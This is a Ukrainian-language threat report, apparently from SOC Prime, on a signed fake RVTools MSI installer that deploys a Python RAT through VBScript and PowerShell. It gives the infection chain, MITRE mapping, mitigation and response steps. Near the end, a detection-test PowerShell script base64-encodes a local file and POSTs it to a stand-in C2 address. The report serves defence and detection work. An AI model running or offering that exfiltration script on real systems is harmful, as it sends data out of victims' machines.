RVTools Маскарад: Як підписаний фальшивий установник розгортає модульний Python RAT

SOC Prime Team

Стежити

RVTools Маскарад: Як підписаний фальшивий установник розгортає модульний Python RAT

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

Зловмисний MSI інсталятор, підписаний дійсним сертифікатом, видає себе за утиліту RVTools, яка використовується адміністраторами VMware. Після запуску інсталятор залишає VBScript, який запускає PowerShell для завантаження великого архіву ZIP з Dropbox. Цей архів містить портативне середовище Python, яке запускає багаторівневий RAT, здатний проводити розвідку, забезпечувати стійкість і комунікацію з жорстко закодованими серверами команд і контролю.

Розслідування

Аналіз відcлідкував MSI до спеціальної дії VBScript, Binary.MyScript.vbs, яка декодувала заплутану команду PowerShell. Та команда завантажувала winp.zip навантеження в %APPDATA%, витягала компоненти та скрипти Python, такі як collector.py and Pmanager.py, а потім забезпечувала стійкість через ключі реєстру Run і заплановане завдання після перезавантаження. Дослідники також виявили, що RAT шифрував зібрані дані за допомогою RC4 і передавав сигнал на п’ять фіксованих IP-адрес через п’ятихвилинні інтервали.

Мітигація

Організації повинні забезпечити сувору перевірку підпису коду з активними перевірками OCSP або CRL, блокувати виконання недовірених MSI та контролювати підозрілі дії VBScript, вбудовані в інсталяторні пакети. Захисники також повинні запобігати автоматичному виконанню завантажених скриптів, слідкувати за новими записами в Run-кей і створенням запланованих завдань та реагувати на вихідний трафік до незнайомих жорстко закодованих IP адрес.

Відповідь

Якщо виявлено цю активність, негайно ізолюйте постраждалий кінцевий пристрій, зберіть MSI, файли VBScript та вилучене навантаження для криміналістичного аналізу, та видаліть всі артефакти стійкості, включаючи ключ Run і заплановане завдання. Виявлені IP адреси команд і контролю повинні бути заблоковані на брандмауері, а також потрібно провести ширший аудит облікових даних та активності в Active Directory, щоб визначити, чи була здійснена бічна перехідна атака.

"graph TB %% Класи визначень classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Фази phase_initial_access["Фаза: Первинний доступ Дія – Жертва запускає підписаний зловмисний MSI, що вдає RVTools."] class phase_initial_access phase phase_execution["Фаза: Виконання Дія – MSI використовує Msiexec для запуску VBScript, який завантажує прихований PowerShell завантажувач."] class phase_execution phase phase_payload["Фаза: Розгортання навантаження Дія – Архів розпаковується до портативного середовища WinPython, що містить collector.py та manager.py."] class phase_payload phase phase_persistence["Фаза: Стійкість Дія – Менеджер Python створює ключ запуску в реєстрі, заплановане завдання та запис Active Setup."] class phase_persistence phase phase_c2["Фаза: Командування та контроль Дія – Зібрані дані архівуються, шифруються RC4 та відправляються через HTTP POST на жорстко закодовані IP-адреси."] class phase_c2 phase phase_evasion["Фаза: Уникнення захисту Дія – Використання підписаних бінарних файлів, проксі-виконання і обфускація символів для обхідний виявлень."] class phase_evasion phase %% Техніки для первинного доступу tech_user_execution["Техніка T1204.002 Виконання користувачем: Зловмисний файл Жертва запускає зловмисний файл, який вважає легітимним."] class tech_user_execution technique tech_masquerading["Техніка T1036.001 Маскування Бінарний файл підписаний і названий, як легітимна утиліта (RVTools)."] class tech_masquerading technique tech_trusted_dev_proxy["Техніка T1127 Проксі-виконання Trusted Developer Utilities Підписаний бінарний використовують для обходу перевірок репутації."] class tech_trusted_dev_proxy technique %% Техніки для виконання tech_msiexec_proxy["Техніка T1218.007 Проксі-виконання системного бінарного файлу: Msiexec Msiexec викликаний для виконання зловмисного MSI."] class tech_msiexec_proxy technique tech_vbscript["Техніка T1059.005 Командний та скриптовий інтерпретатор: Visual Basic Спеціальна дія запускає VBScript навантаження."] class tech_vbscript technique tech_powershell["Техніка T1059.001 Командний та скриптовий інтерпретатор: PowerShell VBScript декодує та виконує приховану команду завантаження PowerShell."] class tech_powershell technique %% Техніки для розгортання навантаження tech_archive_custom["Техніка T1560.003 Архівування зібраних даних: Архівування за допомогою спеціального методу Завантажується та розпаковується 33u202fMB zip (winp.zip) для створення портативного середовища Python."] class tech_archive_custom technique %% Техніки для стійкості tech_registry_run["Техніка T1037.004 Сценарії ініціалізації завантаження або входу: Запуск реєстру Створюється Run key реєстру для запуску manager.py під час старту."] class tech_registry_run persistence tech_scheduled_task["Техніка T1053 Заплановане завдання/робота Щоденне заплановане завдання створено для запуску з правами SYSTEM."] class tech_scheduled_task persistence tech_active_setup["Техніка T1547.014 Автостарт виконання завантаження або входу: Active Setup Запис Active Setup додано для забезпечення виконання для кожного користувача."] class tech_active_setup persistence tech_hijack_execution["Техніка T1574 Викрадення потоку виконання Заплановане завдання використовується для викрадення нормальних шляхів виконання."] class tech_hijack_execution evasion %% Техніки для командування та управління tech_exfil_unencrypted["Техніка T1048.003 Витік через нешифрований непрямий протокол C2 Дані відправляються через HTTP POST на жорстко закодовані IP-адреси."] class tech_exfil_unencrypted c2 tech_exfil_asymmetric["Техніка T1048.002 Витік через асиметричний зашифрований непрямий протокол C2 Дані шифруються за допомогою RC4 перед відправкою."] class tech_exfil_asymmetric c2 %% Техніки для уникнення захисту tech_system_script_proxy["Техніка T1216.002 Виконання проксі-сценарію системи: SyncAppvPublishingServer Довірені скрипти діють як проксі для приховання зловмисної активності."] class tech_system_script_proxy evasion tech_system_binary_proxy["Техніка T1218 Виконання проксі системного бінарного файлу Підписані утиліти (Msiexec) зловживаються для обходу контролю застосувань."] class tech_system_binary_proxy evasion %% Артефакти artifact_msi["Артефакт: malicious_RVTools.msi Підписаний MSI, використаний для первинного доступу."] class artifact_msi artifact artifact_zip["Артефакт: winp.zip Архів, що містить портативний WinPython, розміщений на Dropbox."] class artifact_zip artifact artifact_python_env["Артефакт: WinPython середовище Містить collector.py та manager.py для розвідки."] class artifact_python_env artifact artifact_registry_key["Артефакт: Ключ запуску реєстру HKCUSoftwareMicrosoftWindowsCurrentVersionRunWinPythonMgr"] class artifact_registry_key artifact artifact_scheduled_task["Артефакт: Заплановане завдання Назва: WinPythonDaily, запускається з правами SYSTEM."] class artifact_scheduled_task artifact artifact_active_setup["Артефакт: Запис Active Setup HKLMSoftwareMicrosoftActive SetupInstalled ComponentsWinPython"] class artifact_active_setup artifact artifact_c2_ip["Артефакт: IP-адреси C2 Жорстко закодовані IPv4-адреси, з якими контактують через HTTP."] class artifact_c2_ip artifact %% Зв’язки phase_initial_access –>|використовує| tech_user_execution phase_initial_access –>|використовує| tech_masquerading phase_initial_access –>|використовує| tech_trusted_dev_proxy phase_initial_access –>|передає| artifact_msi tech_user_execution –>|виконує| artifact_msi tech_masquerading –>|дозволяє| artifact_msi tech_trusted_dev_proxy –>|обходить| artifact_msi phase_execution –>|використовує| tech_msiexec_proxy tech_msiexec_proxy –>|запускає| tech_vbscript tech_vbscript –>|запускає| tech_powershell tech_powershell –>|завантажує| artifact_zip artifact_zip –>|розпаковується для створення| artifact_python_env phase_payload –>|містить| artifact_python_env phase_persistence –>|створює| tech_registry_run phase_persistence –>|створює| tech_scheduled_task phase_persistence –>|створює| tech_active_setup phase_persistence –>|використовує| tech_hijack_execution tech_registry_run –>|записує| artifact_registry_key tech_scheduled_task –>|створює| artifact_scheduled_task tech_active_setup –>|записує| artifact_active_setup phase_c2 –>|архівує та шифрує дані| tech_archive_custom tech_archive_custom –>|відправляє через| tech_exfil_unencrypted tech_exfil_unencrypted –>|використовує| artifact_c2_ip tech_exfil_unencrypted –>|також використовує| tech_exfil_asymmetric phase_evasion –>|застосовує| tech_system_script_proxy phase_evasion –>|застосовує| tech_system_binary_proxy tech_system_binary_proxy –>|полегшує| tech_msiexec_proxy tech_system_script_proxy –>|полегшує| tech_vbscript "

Потік атаки

Атака:
Супротивник, який вже знаходиться в положенні на машині жертви, вирішує ексфільтрувати невеликий обсяг даних (наприклад, C:Tempsecret.txt). Щоб не викликати загальних сповіщень вихідного трафіку, актор використовує однорядкову команду PowerShell , яка виконує HTTP POST безпосередньо до одного з жорстко закодованих IP C2 (192.0.2.10). Команду заплановано через Windows заплановане завдання , щоб забезпечити стійкість (T1546.013). Жодні додаткові бінарні файли не скидаються, зберігаючи активність «живучи з сторонніх».

Сценарій регресійного тестування:

# -------------------------------------------------
# PowerShell скрипт – Витік даних через жорсткозакодований IP
# -------------------------------------------------
$c2Ip   = "192.0.2.10"
$c2Port = 80
$uri    = "http://$c2Ip/exfil"
$file   = "C:Tempsecret.txt"

# Переконайтесь, що файл існує (створіть тестові дані для тесту)
if (-Not (Test-Path $file)) {
    "sensitive data $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
}

# Читання вмісту файлу та його кодування в Base64
$payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))

# Виконання HTTP POST
$body = @{ data = $payload }
try {
    Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
    Write-Host "Спроба ексфільтрації відправлена на $c2Ip"
} catch {
    Write-Error "Ексфільтрація не вдалася: $_"
}

Команди очищення:

# Видаліть тестовий файл
Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue

# Видаліть будь-яке заплановане завдання, створене для тестування (якщо існує)
$taskName = "DataExfilTask"
if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
    Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
}

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно